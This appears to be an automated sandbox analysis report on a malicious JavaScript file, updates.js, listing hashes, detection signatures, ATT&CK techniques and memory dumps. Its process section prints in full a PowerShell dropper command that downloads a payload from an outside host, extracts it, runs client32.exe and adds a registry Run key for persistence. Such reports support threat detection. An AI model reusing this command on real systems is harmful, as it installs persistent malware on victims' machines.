65ab8ed555628693952b1fc385feca757b0a689981128d848f2c39a52e7da1e9

Analysis

max time kernel
14s
max time network
22s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
16-07-2024 20:28

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General

Target

updates.js
Size

7.3MB
MD5

2826502a26311bbe395d5ab565114330
SHA1

1764ea00a1262c07b13d0c4b059e88e57650dfc4
SHA256

65ab8ed555628693952b1fc385feca757b0a689981128d848f2c39a52e7da1e9
SHA512

578eaf54cab019a8f1b166b1da0b5580ee8081bfd1629fe938e366ac855b501016d84e5567008069d900a970247577ae998191d028ce5904dd7c0a7bee451239
SSDEEP

49152:47h4zjCxb7qHlp4BOlN0KFhcuscyEMzYsm7++86mn3Ef/Vf7GI0/3qp6RCgScEQu:1

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://dfwreds.com/data.php?14991

exe.dropper

http://dfwreds.com/data.php?14991

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2256	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2256	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2256	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2256	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2468 wrote to memory of 2256	2468	wscript.exe	29
PID 2468 wrote to memory of 2256	2468	wscript.exe	29
PID 2468 wrote to memory of 2256	2468	wscript.exe	29

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\updates.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2256-4-0x000007FEF488E000-0x000007FEF488F000-memory.dmp

Filesize
4KB

Download
memory/2256-7-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

Filesize
32KB

Download
memory/2256-6-0x000007FEF45D0000-0x000007FEF4F6D000-memory.dmp

Filesize
9.6MB

Download
memory/2256-5-0x000000001B3F0000-0x000000001B6D2000-memory.dmp

Filesize
2.9MB

Download
memory/2256-8-0x000007FEF45D0000-0x000007FEF4F6D000-memory.dmp

Filesize
9.6MB

Download
memory/2256-9-0x000007FEF45D0000-0x000007FEF4F6D000-memory.dmp

Filesize
9.6MB

Download
memory/2256-10-0x000007FEF45D0000-0x000007FEF4F6D000-memory.dmp

Filesize
9.6MB

Download
memory/2256-11-0x000007FEF45D0000-0x000007FEF4F6D000-memory.dmp

Filesize
9.6MB

Download
memory/2256-13-0x000007FEF45D0000-0x000007FEF4F6D000-memory.dmp

Filesize
9.6MB

Download